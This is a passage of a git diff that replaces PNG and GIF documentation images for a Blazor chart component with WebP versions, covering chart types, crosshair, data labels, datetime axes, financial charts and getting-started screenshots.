index 0000000000..b9e3e9092d
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-stacked-column-100-chart-corner-radius-onPointRender.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-column-100-chart-corner-radius.png b/blazor/chart/images/chart-types-images/blazor-stacked-column-100-chart-corner-radius.png
deleted file mode 100644
index b97ff7ae1e..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-stacked-column-100-chart-corner-radius.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-column-100-chart-corner-radius.webp b/blazor/chart/images/chart-types-images/blazor-stacked-column-100-chart-corner-radius.webp
new file mode 100644
index 0000000000..b16978017f
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-stacked-column-100-chart-corner-radius.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-column-100-chart-custom-series.png b/blazor/chart/images/chart-types-images/blazor-stacked-column-100-chart-custom-series.png
deleted file mode 100644
index 5fb347eb7c..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-stacked-column-100-chart-custom-series.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-column-100-chart-custom-series.webp b/blazor/chart/images/chart-types-images/blazor-stacked-column-100-chart-custom-series.webp
new file mode 100644
index 0000000000..3f27d2189c
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-stacked-column-100-chart-custom-series.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-column-100-chart.png b/blazor/chart/images/chart-types-images/blazor-stacked-column-100-chart.png
deleted file mode 100644
index de9627d996..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-stacked-column-100-chart.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-column-100-chart.webp b/blazor/chart/images/chart-types-images/blazor-stacked-column-100-chart.webp
new file mode 100644
index 0000000000..fb904e4ea4
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-stacked-column-100-chart.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-column-chart-corner-radius-onPointRender.png b/blazor/chart/images/chart-types-images/blazor-stacked-column-chart-corner-radius-onPointRender.png
deleted file mode 100644
index 78504c08e2..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-stacked-column-chart-corner-radius-onPointRender.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-column-chart-corner-radius-onPointRender.webp b/blazor/chart/images/chart-types-images/blazor-stacked-column-chart-corner-radius-onPointRender.webp
new file mode 100644
index 0000000000..1f8e96f563
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-stacked-column-chart-corner-radius-onPointRender.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-column-chart-corner-radius.png b/blazor/chart/images/chart-types-images/blazor-stacked-column-chart-corner-radius.png
deleted file mode 100644
index f4a7d38a2b..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-stacked-column-chart-corner-radius.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-column-chart-corner-radius.webp b/blazor/chart/images/chart-types-images/blazor-stacked-column-chart-corner-radius.webp
new file mode 100644
index 0000000000..0de38f6a8e
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-stacked-column-chart-corner-radius.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-column-chart-custom-series.png b/blazor/chart/images/chart-types-images/blazor-stacked-column-chart-custom-series.png
deleted file mode 100644
index 7758e3d835..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-stacked-column-chart-custom-series.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-column-chart-custom-series.webp b/blazor/chart/images/chart-types-images/blazor-stacked-column-chart-custom-series.webp
new file mode 100644
index 0000000000..36c3e5f5a5
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-stacked-column-chart-custom-series.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-column-chart.png b/blazor/chart/images/chart-types-images/blazor-stacked-column-chart.png
deleted file mode 100644
index 7e8e11f035..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-stacked-column-chart.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-column-chart.webp b/blazor/chart/images/chart-types-images/blazor-stacked-column-chart.webp
new file mode 100644
index 0000000000..8f8db215f9
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-stacked-column-chart.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-line-100-chart-custom-series.png b/blazor/chart/images/chart-types-images/blazor-stacked-line-100-chart-custom-series.png
deleted file mode 100644
index 9d0da77e2d..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-stacked-line-100-chart-custom-series.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-line-100-chart-custom-series.webp b/blazor/chart/images/chart-types-images/blazor-stacked-line-100-chart-custom-series.webp
new file mode 100644
index 0000000000..31fc406a02
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-stacked-line-100-chart-custom-series.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-line-100-chart.png b/blazor/chart/images/chart-types-images/blazor-stacked-line-100-chart.png
deleted file mode 100644
index 58b78f1136..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-stacked-line-100-chart.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-line-100-chart.webp b/blazor/chart/images/chart-types-images/blazor-stacked-line-100-chart.webp
new file mode 100644
index 0000000000..f46918787d
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-stacked-line-100-chart.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-line-chart-custom-series.png b/blazor/chart/images/chart-types-images/blazor-stacked-line-chart-custom-series.png
deleted file mode 100644
index 1fb373eb90..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-stacked-line-chart-custom-series.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-line-chart-custom-series.webp b/blazor/chart/images/chart-types-images/blazor-stacked-line-chart-custom-series.webp
new file mode 100644
index 0000000000..88b1d89475
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-stacked-line-chart-custom-series.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-line-chart.png b/blazor/chart/images/chart-types-images/blazor-stacked-line-chart.png
deleted file mode 100644
index e90e447655..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-stacked-line-chart.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-line-chart.webp b/blazor/chart/images/chart-types-images/blazor-stacked-line-chart.webp
new file mode 100644
index 0000000000..1f9c6fb951
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-stacked-line-chart.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-step-area-chart-custom-series.png b/blazor/chart/images/chart-types-images/blazor-step-area-chart-custom-series.png
deleted file mode 100644
index c9ab30b68e..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-step-area-chart-custom-series.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-step-area-chart-custom-series.webp b/blazor/chart/images/chart-types-images/blazor-step-area-chart-custom-series.webp
new file mode 100644
index 0000000000..82484f8391
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-step-area-chart-custom-series.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-step-area-chart.png b/blazor/chart/images/chart-types-images/blazor-step-area-chart.png
deleted file mode 100644
index b3ccaa1232..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-step-area-chart.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-step-area-chart.webp b/blazor/chart/images/chart-types-images/blazor-step-area-chart.webp
new file mode 100644
index 0000000000..5573b7ee7c
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-step-area-chart.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-step-line-chart-custom-series.png b/blazor/chart/images/chart-types-images/blazor-step-line-chart-custom-series.png
deleted file mode 100644
index 2d0ba8b76f..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-step-line-chart-custom-series.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-step-line-chart-custom-series.webp b/blazor/chart/images/chart-types-images/blazor-step-line-chart-custom-series.webp
new file mode 100644
index 0000000000..f276cecccf
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-step-line-chart-custom-series.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-step-line-chart.png b/blazor/chart/images/chart-types-images/blazor-step-line-chart.png
deleted file mode 100644
index 844da7ea7b..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-step-line-chart.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-step-line-chart.webp b/blazor/chart/images/chart-types-images/blazor-step-line-chart.webp
new file mode 100644
index 0000000000..5abe23642d
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-step-line-chart.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-waterfall-chart-corner-radius-onPointRender.png b/blazor/chart/images/chart-types-images/blazor-waterfall-chart-corner-radius-onPointRender.png
deleted file mode 100644
index c499cda0bc..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-waterfall-chart-corner-radius-onPointRender.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-waterfall-chart-corner-radius-onPointRender.webp b/blazor/chart/images/chart-types-images/blazor-waterfall-chart-corner-radius-onPointRender.webp
new file mode 100644
index 0000000000..f05888a9d3
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-waterfall-chart-corner-radius-onPointRender.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-waterfall-chart-corner-radius.png b/blazor/chart/images/chart-types-images/blazor-waterfall-chart-corner-radius.png
deleted file mode 100644
index 78c64b7c3f..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-waterfall-chart-corner-radius.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-waterfall-chart-corner-radius.webp b/blazor/chart/images/chart-types-images/blazor-waterfall-chart-corner-radius.webp
new file mode 100644
index 0000000000..60bec45bda
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-waterfall-chart-corner-radius.webp differ
diff --git a/blazor/chart/images/crosshair/blazor-line-chart-crosshair-with-tooltip.png b/blazor/chart/images/crosshair/blazor-line-chart-crosshair-with-tooltip.png
deleted file mode 100644
index bc43ea041a..0000000000
Binary files a/blazor/chart/images/crosshair/blazor-line-chart-crosshair-with-tooltip.png and /dev/null differ
diff --git a/blazor/chart/images/crosshair/blazor-line-chart-crosshair-with-tooltip.webp b/blazor/chart/images/crosshair/blazor-line-chart-crosshair-with-tooltip.webp
new file mode 100644
index 0000000000..925d19fed8
Binary files /dev/null and b/blazor/chart/images/crosshair/blazor-line-chart-crosshair-with-tooltip.webp differ
diff --git a/blazor/chart/images/crosshair/blazor-line-chart-custom-crosshair-and-tooltip.png b/blazor/chart/images/crosshair/blazor-line-chart-custom-crosshair-and-tooltip.png
deleted file mode 100644
index faaf019165..0000000000
Binary files a/blazor/chart/images/crosshair/blazor-line-chart-custom-crosshair-and-tooltip.png and /dev/null differ
diff --git a/blazor/chart/images/crosshair/blazor-line-chart-custom-crosshair-and-tooltip.webp b/blazor/chart/images/crosshair/blazor-line-chart-custom-crosshair-and-tooltip.webp
new file mode 100644
index 0000000000..dbf0e28c6f
Binary files /dev/null and b/blazor/chart/images/crosshair/blazor-line-chart-custom-crosshair-and-tooltip.webp differ
diff --git a/blazor/chart/images/crosshair/blazor-line-chart-with-crosshair.png b/blazor/chart/images/crosshair/blazor-line-chart-with-crosshair.png
deleted file mode 100644
index 72d212b100..0000000000
Binary files a/blazor/chart/images/crosshair/blazor-line-chart-with-crosshair.png and /dev/null differ
diff --git a/blazor/chart/images/crosshair/blazor-line-chart-with-crosshair.webp b/blazor/chart/images/crosshair/blazor-line-chart-with-crosshair.webp
new file mode 100644
index 0000000000..4c01a33af1
Binary files /dev/null and b/blazor/chart/images/crosshair/blazor-line-chart-with-crosshair.webp differ
diff --git a/blazor/chart/images/crosshair/blazor-line-chart-with-highlight-background-trackball.png b/blazor/chart/images/crosshair/blazor-line-chart-with-highlight-background-trackball.png
deleted file mode 100644
index 08da424a93..0000000000
Binary files a/blazor/chart/images/crosshair/blazor-line-chart-with-highlight-background-trackball.png and /dev/null differ
diff --git a/blazor/chart/images/crosshair/blazor-line-chart-with-highlight-background-trackball.webp b/blazor/chart/images/crosshair/blazor-line-chart-with-highlight-background-trackball.webp
new file mode 100644
index 0000000000..b0f36d85b8
Binary files /dev/null and b/blazor/chart/images/crosshair/blazor-line-chart-with-highlight-background-trackball.webp differ
diff --git a/blazor/chart/images/crosshair/blazor-line-chart-with-trackball.png b/blazor/chart/images/crosshair/blazor-line-chart-with-trackball.png
deleted file mode 100644
index 7bf1886c39..0000000000
Binary files a/blazor/chart/images/crosshair/blazor-line-chart-with-trackball.png and /dev/null differ
diff --git a/blazor/chart/images/crosshair/blazor-line-chart-with-trackball.webp b/blazor/chart/images/crosshair/blazor-line-chart-with-trackball.webp
new file mode 100644
index 0000000000..e077412da4
Binary files /dev/null and b/blazor/chart/images/crosshair/blazor-line-chart-with-trackball.webp differ
diff --git a/blazor/chart/images/data-editing/blazor-chart-data-editing.png b/blazor/chart/images/data-editing/blazor-chart-data-editing.png
deleted file mode 100644
index 69b1e6216f..0000000000
Binary files a/blazor/chart/images/data-editing/blazor-chart-data-editing.png and /dev/null differ
diff --git a/blazor/chart/images/data-editing/blazor-chart-data-editing.webp b/blazor/chart/images/data-editing/blazor-chart-data-editing.webp
new file mode 100644
index 0000000000..b7abc8939e
Binary files /dev/null and b/blazor/chart/images/data-editing/blazor-chart-data-editing.webp differ
diff --git a/blazor/chart/images/data-label/blazor-chart-custom-label.png b/blazor/chart/images/data-label/blazor-chart-custom-label.png
deleted file mode 100644
index 57658b3fb6..0000000000
Binary files a/blazor/chart/images/data-label/blazor-chart-custom-label.png and /dev/null differ
diff --git a/blazor/chart/images/data-label/blazor-chart-custom-label.webp b/blazor/chart/images/data-label/blazor-chart-custom-label.webp
new file mode 100644
index 0000000000..f84a68e4bf
Binary files /dev/null and b/blazor/chart/images/data-label/blazor-chart-custom-label.webp differ
diff --git a/blazor/chart/images/data-label/blazor-chart-data-label.png b/blazor/chart/images/data-label/blazor-chart-data-label.png
deleted file mode 100644
index 3203d94abd..0000000000
Binary files a/blazor/chart/images/data-label/blazor-chart-data-label.png and /dev/null differ
diff --git a/blazor/chart/images/data-label/blazor-chart-data-label.webp b/blazor/chart/images/data-label/blazor-chart-data-label.webp
new file mode 100644
index 0000000000..88bf86d743
Binary files /dev/null and b/blazor/chart/images/data-label/blazor-chart-data-label.webp differ
diff --git a/blazor/chart/images/data-label/blazor-chart-label-position.png b/blazor/chart/images/data-label/blazor-chart-label-position.png
deleted file mode 100644
index 5a8a790451..0000000000
Binary files a/blazor/chart/images/data-label/blazor-chart-label-position.png and /dev/null differ
diff --git a/blazor/chart/images/data-label/blazor-chart-label-position.webp b/blazor/chart/images/data-label/blazor-chart-label-position.webp
new file mode 100644
index 0000000000..0c2cb119b4
Binary files /dev/null and b/blazor/chart/images/data-label/blazor-chart-label-position.webp differ
diff --git a/blazor/chart/images/data-label/blazor-chart-label-template.png b/blazor/chart/images/data-label/blazor-chart-label-template.png
deleted file mode 100644
index fd8c1b8927..0000000000
Binary files a/blazor/chart/images/data-label/blazor-chart-label-template.png and /dev/null differ
diff --git a/blazor/chart/images/data-label/blazor-chart-label-template.webp b/blazor/chart/images/data-label/blazor-chart-label-template.webp
new file mode 100644
index 0000000000..abf88f4ea9
Binary files /dev/null and b/blazor/chart/images/data-label/blazor-chart-label-template.webp differ
diff --git a/blazor/chart/images/data-label/blazor-chart-label-with-format.png b/blazor/chart/images/data-label/blazor-chart-label-with-format.png
deleted file mode 100644
index 89b9cdb330..0000000000
Binary files a/blazor/chart/images/data-label/blazor-chart-label-with-format.png and /dev/null differ
diff --git a/blazor/chart/images/data-label/blazor-chart-label-with-format.webp b/blazor/chart/images/data-label/blazor-chart-label-with-format.webp
new file mode 100644
index 0000000000..e6e4c4464e
Binary files /dev/null and b/blazor/chart/images/data-label/blazor-chart-label-with-format.webp differ
diff --git a/blazor/chart/images/data-label/blazor-chart-label-with-margin.png b/blazor/chart/images/data-label/blazor-chart-label-with-margin.png
deleted file mode 100644
index daae5b3876..0000000000
Binary files a/blazor/chart/images/data-label/blazor-chart-label-with-margin.png and /dev/null differ
diff --git a/blazor/chart/images/data-label/blazor-chart-label-with-margin.webp b/blazor/chart/images/data-label/blazor-chart-label-with-margin.webp
new file mode 100644
index 0000000000..9e8742f255
Binary files /dev/null and b/blazor/chart/images/data-label/blazor-chart-label-with-margin.webp differ
diff --git a/blazor/chart/images/data-label/blazor-chart-label-with-text-mapping.png b/blazor/chart/images/data-label/blazor-chart-label-with-text-mapping.png
deleted file mode 100644
index 8b5f9efecf..0000000000
Binary files a/blazor/chart/images/data-label/blazor-chart-label-with-text-mapping.png and /dev/null differ
diff --git a/blazor/chart/images/data-label/blazor-chart-label-with-text-mapping.webp b/blazor/chart/images/data-label/blazor-chart-label-with-text-mapping.webp
new file mode 100644
index 0000000000..d54a79f846
Binary files /dev/null and b/blazor/chart/images/data-label/blazor-chart-label-with-text-mapping.webp differ
diff --git a/blazor/chart/images/datetime/blazor-line-chart-axis-based-on-interval.png b/blazor/chart/images/datetime/blazor-line-chart-axis-based-on-interval.png
deleted file mode 100644
index 19e2b73417..0000000000
Binary files a/blazor/chart/images/datetime/blazor-line-chart-axis-based-on-interval.png and /dev/null differ
diff --git a/blazor/chart/images/datetime/blazor-line-chart-axis-based-on-interval.webp b/blazor/chart/images/datetime/blazor-line-chart-axis-based-on-interval.webp
new file mode 100644
index 0000000000..eabdcc6272
Binary files /dev/null and b/blazor/chart/images/datetime/blazor-line-chart-axis-based-on-interval.webp differ
diff --git a/blazor/chart/images/datetime/blazor-line-chart-axis-based-on-range.png b/blazor/chart/images/datetime/blazor-line-chart-axis-based-on-range.png
deleted file mode 100644
index 1947776470..0000000000
Binary files a/blazor/chart/images/datetime/blazor-line-chart-axis-based-on-range.png and /dev/null differ
diff --git a/blazor/chart/images/datetime/blazor-line-chart-axis-based-on-range.webp b/blazor/chart/images/datetime/blazor-line-chart-axis-based-on-range.webp
new file mode 100644
index 0000000000..20c2b796cb
Binary files /dev/null and b/blazor/chart/images/datetime/blazor-line-chart-axis-based-on-range.webp differ
diff --git a/blazor/chart/images/datetime/blazor-line-chart-axis-label-format.png b/blazor/chart/images/datetime/blazor-line-chart-axis-label-format.png
deleted file mode 100644
index d931de7a43..0000000000
Binary files a/blazor/chart/images/datetime/blazor-line-chart-axis-label-format.png and /dev/null differ
diff --git a/blazor/chart/images/datetime/blazor-line-chart-axis-label-format.webp b/blazor/chart/images/datetime/blazor-line-chart-axis-label-format.webp
new file mode 100644
index 0000000000..a1a0a420f4
Binary files /dev/null and b/blazor/chart/images/datetime/blazor-line-chart-axis-label-format.webp differ
diff --git a/blazor/chart/images/datetime/blazor-line-chart-datetime-axis.png b/blazor/chart/images/datetime/blazor-line-chart-datetime-axis.png
deleted file mode 100644
index 3901b156ca..0000000000
Binary files a/blazor/chart/images/datetime/blazor-line-chart-datetime-axis.png and /dev/null differ
diff --git a/blazor/chart/images/datetime/blazor-line-chart-datetime-axis.webp b/blazor/chart/images/datetime/blazor-line-chart-datetime-axis.webp
new file mode 100644
index 0000000000..386a4b1935
Binary files /dev/null and b/blazor/chart/images/datetime/blazor-line-chart-datetime-axis.webp differ
diff --git a/blazor/chart/images/datetime/blazor-line-chart-with-datetime-axis.png b/blazor/chart/images/datetime/blazor-line-chart-with-datetime-axis.png
deleted file mode 100644
index 7937c02944..0000000000
Binary files a/blazor/chart/images/datetime/blazor-line-chart-with-datetime-axis.png and /dev/null differ
diff --git a/blazor/chart/images/datetime/blazor-line-chart-with-datetime-axis.webp b/blazor/chart/images/datetime/blazor-line-chart-with-datetime-axis.webp
new file mode 100644
index 0000000000..efc0cab0d8
Binary files /dev/null and b/blazor/chart/images/datetime/blazor-line-chart-with-datetime-axis.webp differ
diff --git a/blazor/chart/images/datetime/none.png b/blazor/chart/images/datetime/none.png
deleted file mode 100644
index 5200711568..0000000000
Binary files a/blazor/chart/images/datetime/none.png and /dev/null differ
diff --git a/blazor/chart/images/datetime/none.webp b/blazor/chart/images/datetime/none.webp
new file mode 100644
index 0000000000..139432db3d
Binary files /dev/null and b/blazor/chart/images/datetime/none.webp differ
diff --git a/blazor/chart/images/dynamic-points.gif b/blazor/chart/images/dynamic-points.gif
deleted file mode 100644
index e1006e7518..0000000000
Binary files a/blazor/chart/images/dynamic-points.gif and /dev/null differ
diff --git a/blazor/chart/images/dynamic-points.webp b/blazor/chart/images/dynamic-points.webp
new file mode 100644
index 0000000000..f9d74f992b
Binary files /dev/null and b/blazor/chart/images/dynamic-points.webp differ
diff --git a/blazor/chart/images/financial-types/blazor-candle-chart.png b/blazor/chart/images/financial-types/blazor-candle-chart.png
deleted file mode 100644
index c1d441e8cf..0000000000
Binary files a/blazor/chart/images/financial-types/blazor-candle-chart.png and /dev/null differ
diff --git a/blazor/chart/images/financial-types/blazor-candle-chart.webp b/blazor/chart/images/financial-types/blazor-candle-chart.webp
new file mode 100644
index 0000000000..f15fd19f91
Binary files /dev/null and b/blazor/chart/images/financial-types/blazor-candle-chart.webp differ
diff --git a/blazor/chart/images/financial-types/blazor-hilo-chart.png b/blazor/chart/images/financial-types/blazor-hilo-chart.png
deleted file mode 100644
index be117859ba..0000000000
Binary files a/blazor/chart/images/financial-types/blazor-hilo-chart.png and /dev/null differ
diff --git a/blazor/chart/images/financial-types/blazor-hilo-chart.webp b/blazor/chart/images/financial-types/blazor-hilo-chart.webp
new file mode 100644
index 0000000000..c164e45efb
Binary files /dev/null and b/blazor/chart/images/financial-types/blazor-hilo-chart.webp differ
diff --git a/blazor/chart/images/financial-types/blazor-hilo-open-close-custom-series.png b/blazor/chart/images/financial-types/blazor-hilo-open-close-custom-series.png
deleted file mode 100644
index cee6080f74..0000000000
Binary files a/blazor/chart/images/financial-types/blazor-hilo-open-close-custom-series.png and /dev/null differ
diff --git a/blazor/chart/images/financial-types/blazor-hilo-open-close-custom-series.webp b/blazor/chart/images/financial-types/blazor-hilo-open-close-custom-series.webp
new file mode 100644
index 0000000000..d3c16233d6
Binary files /dev/null and b/blazor/chart/images/financial-types/blazor-hilo-open-close-custom-series.webp differ
diff --git a/blazor/chart/images/financial-types/blazor-solid-candle-chart.png b/blazor/chart/images/financial-types/blazor-solid-candle-chart.png
deleted file mode 100644
index 4c11ddfbe6..0000000000
Binary files a/blazor/chart/images/financial-types/blazor-solid-candle-chart.png and /dev/null differ
diff --git a/blazor/chart/images/financial-types/blazor-solid-candle-chart.webp b/blazor/chart/images/financial-types/blazor-solid-candle-chart.webp
new file mode 100644
index 0000000000..fd96abe618
Binary files /dev/null and b/blazor/chart/images/financial-types/blazor-solid-candle-chart.webp differ
diff --git a/blazor/chart/images/getting-started/blazor-application-template.png b/blazor/chart/images/getting-started/blazor-application-template.png
deleted file mode 100644
index 513b921955..0000000000
Binary files a/blazor/chart/images/getting-started/blazor-application-template.png and /dev/null differ
diff --git a/blazor/chart/images/getting-started/blazor-application-template.webp b/blazor/chart/images/getting-started/blazor-application-template.webp
new file mode 100644
index 0000000000..0cd9d87ed7
Binary files /dev/null and b/blazor/chart/images/getting-started/blazor-application-template.webp differ
diff --git a/blazor/chart/images/getting-started/blazor-chart-column.png b/blazor/chart/images/getting-started/blazor-chart-column.png
deleted file mode 100644
index fce571b052..0000000000
Binary files a/blazor/chart/images/getting-started/blazor-chart-column.png and /dev/null differ
diff --git a/blazor/chart/images/getting-started/blazor-chart-column.webp b/blazor/chart/images/getting-started/blazor-chart-column.webp
new file mode 100644
index 0000000000..5e25086bc4
Binary files /dev/null and b/blazor/chart/images/getting-started/blazor-chart-column.webp differ
diff --git a/blazor/chart/images/getting-started/blazor-chart-data-label.png b/blazor/chart/images/getting-started/blazor-chart-data-label.png
deleted file mode 100644
index f0c8189079..0000000000
Binary files a/blazor/chart/images/getting-started/blazor-chart-data-label.png and /dev/null differ
diff --git a/blazor/chart/images/getting-started/blazor-chart-data-label.webp b/blazor/chart/images/getting-started/blazor-chart-data-label.webp
new file mode 100644
index 0000000000..ff78694a37
Binary files /dev/null and b/blazor/chart/images/getting-started/blazor-chart-data-label.webp differ
diff --git a/blazor/chart/images/getting-started/blazor-chart-legend.png b/blazor/chart/images/getting-started/blazor-chart-legend.png
deleted file mode 100644
index dfdc890408..0000000000
Binary files a/blazor/chart/images/getting-started/blazor-chart-legend.png and /dev/null differ
diff --git a/blazor/chart/images/getting-started/blazor-chart-legend.webp b/blazor/chart/images/getting-started/blazor-chart-legend.webp
new file mode 100644
index 0000000000..a0fce64456
Binary files /dev/null and b/blazor/chart/images/getting-started/blazor-chart-legend.webp differ
diff --git a/blazor/chart/images/getting-started/blazor-chart-print-all-charts.png b/blazor/chart/images/getting-started/blazor-chart-print-all-charts.png
deleted file mode 100644
index 3fafa93244..0000000000
Binary files a/blazor/chart/images/getting-started/blazor-chart-print-all-charts.png and /dev/null differ
diff --git a/blazor/chart/images/getting-started/blazor-chart-print-all-charts.webp b/blazor/chart/images/getting-started/blazor-chart-print-all-charts.webp
new file mode 100644
index 0000000000..76c18bb103
Binary files /dev/null and b/blazor/chart/images/getting-started/blazor-chart-print-all-charts.webp differ
diff --git a/blazor/chart/images/getting-started/blazor-chart-print-all-charts2.png b/blazor/chart/images/getting-started/blazor-chart-print-all-charts2.png
deleted file mode 100644
index e593af46b6..0000000000
Binary files a/blazor/chart/images/getting-started/blazor-chart-print-all-charts2.png and /dev/null differ
diff --git a/blazor/chart/images/getting-started/blazor-chart-print-all-charts2.webp b/blazor/chart/images/getting-started/blazor-chart-print-all-charts2.webp
new file mode 100644
index 0000000000..1cd6ff14a4
Binary files /dev/null and b/blazor/chart/images/getting-started/blazor-chart-print-all-charts2.webp differ
diff --git a/blazor/chart/images/getting-started/blazor-chart-printing.png b/blazor/chart/images/getting-started/blazor-chart-printing.png
deleted file mode 100644
index 8b48518c26..0000000000
Binary files a/blazor/chart/images/getting-started/blazor-chart-printing.png and /dev/null differ
diff --git a/blazor/chart/images/getting-started/blazor-chart-printing.webp b/blazor/chart/images/getting-started/blazor-chart-printing.webp
new file mode 100644
index 0000000000..49d7be6100
Binary files /dev/null and b/blazor/chart/images/getting-started/blazor-chart-printing.webp differ
diff --git a/blazor/chart/images/getting-started/blazor-chart-title.png b/blazor/chart/images/getting-started/blazor-chart-title.png
deleted file mode 100644
index 0b9e218fdd..0000000000
Binary files a/blazor/chart/images/getting-started/blazor-chart-title.png and /dev/null differ
diff --git a/blazor/chart/images/getting-started/blazor-chart-title.webp b/blazor/chart/images/getting-started/blazor-chart-title.webp
new file mode 100644
index 0000000000..1a8aaa15ea
Binary files /dev/null and b/blazor/chart/images/getting-started/blazor-chart-title.webp differ
diff --git a/blazor/chart/images/getting-started/blazor-chart-tooltip.png b/blazor/chart/images/getting-started/blazor-chart-tooltip.png
deleted file mode 100644
index 51967c695a..0000000000
Binary files a/blazor/chart/images/getting-started/blazor-chart-tooltip.png and /dev/null differ
diff --git a/blazor/chart/images/getting-started/blazor-chart-tooltip.webp b/blazor/chart/images/getting-started/blazor-chart-tooltip.webp
new file mode 100644
index 0000000000..d08e0b7318
Binary files /dev/null and b/blazor/chart/images/getting-started/blazor-chart-tooltip.webp differ
diff --git a/blazor/chart/images/getting-started/blazor-chart.png b/blazor/chart/images/getting-started/blazor-chart.png
deleted file mode 100644
index 6ba9c4eeec..0000000000
Binary files a/blazor/chart/images/getting-started/blazor-chart.png and /dev/null differ
diff --git a/blazor/chart/images/getting-started/blazor-chart.webp b/blazor/chart/images/getting-started/blazor-chart.webp
new file mode 100644
index 0000000000..da351fe167
Binary files /dev/null and b/blazor/chart/images/getting-started/blazor-chart.webp differ
diff --git a/blazor/chart/images/getting-started/blazor-create-project.png b/blazor/chart/images/getting-started/blazor-create-project.png
deleted file mode 100644
index 5326a0578b..0000000000
Binary files a/blazor/chart/images/getting-started/blazor-create-project.png and /dev/null differ
diff --git a/blazor/chart/images/getting-started/blazor-create-project.webp b/blazor/chart/images/getting-started/blazor-create-project.webp
new file mode 100644
index 0000000000..6b5d252d44
Binary files /dev/null and b/blazor/chart/images/getting-started/blazor-create-project.webp differ
diff --git a/blazor/chart/images/getting-started/blazor-nuget-explorer.png b/blazor/chart/images/getting-started/blazor-nuget-explorer.png
deleted file mode 100644
index 198b9b7f71..0000000000
Binary files a/blazor/chart/images/getting-started/blazor-nuget-explorer.png and /dev/null differ
diff --git a/blazor/chart/images/getting-started/blazor-nuget-explorer.webp b/blazor/chart/images/getting-started/blazor-nuget-explorer.webp
new file mode 100644
index 0000000000..19ba54e475
Binary files /dev/null and b/blazor/chart/images/getting-started/blazor-nuget-explorer.webp differ
diff --git a/blazor/chart/images/getting-started/blazor-nuget-package-selection.png b/blazor/chart/images/getting-started/blazor-nuget-package-selection.png
deleted file mode 100644
index 6ed379ccea..0000000000
Binary files a/blazor/chart/images/getting-started/blazor-nuget-package-selection.png and /dev/null differ
diff --git a/blazor/chart/images/getting-started/blazor-nuget-package-selection.webp b/blazor/chart/images/getting-started/blazor-nuget-package-selection.webp
new file mode 100644
index 0000000000..cfbb2dc81b
Binary files /dev/null and b/blazor/chart/images/getting-started/blazor-nuget-package-selection.webp differ
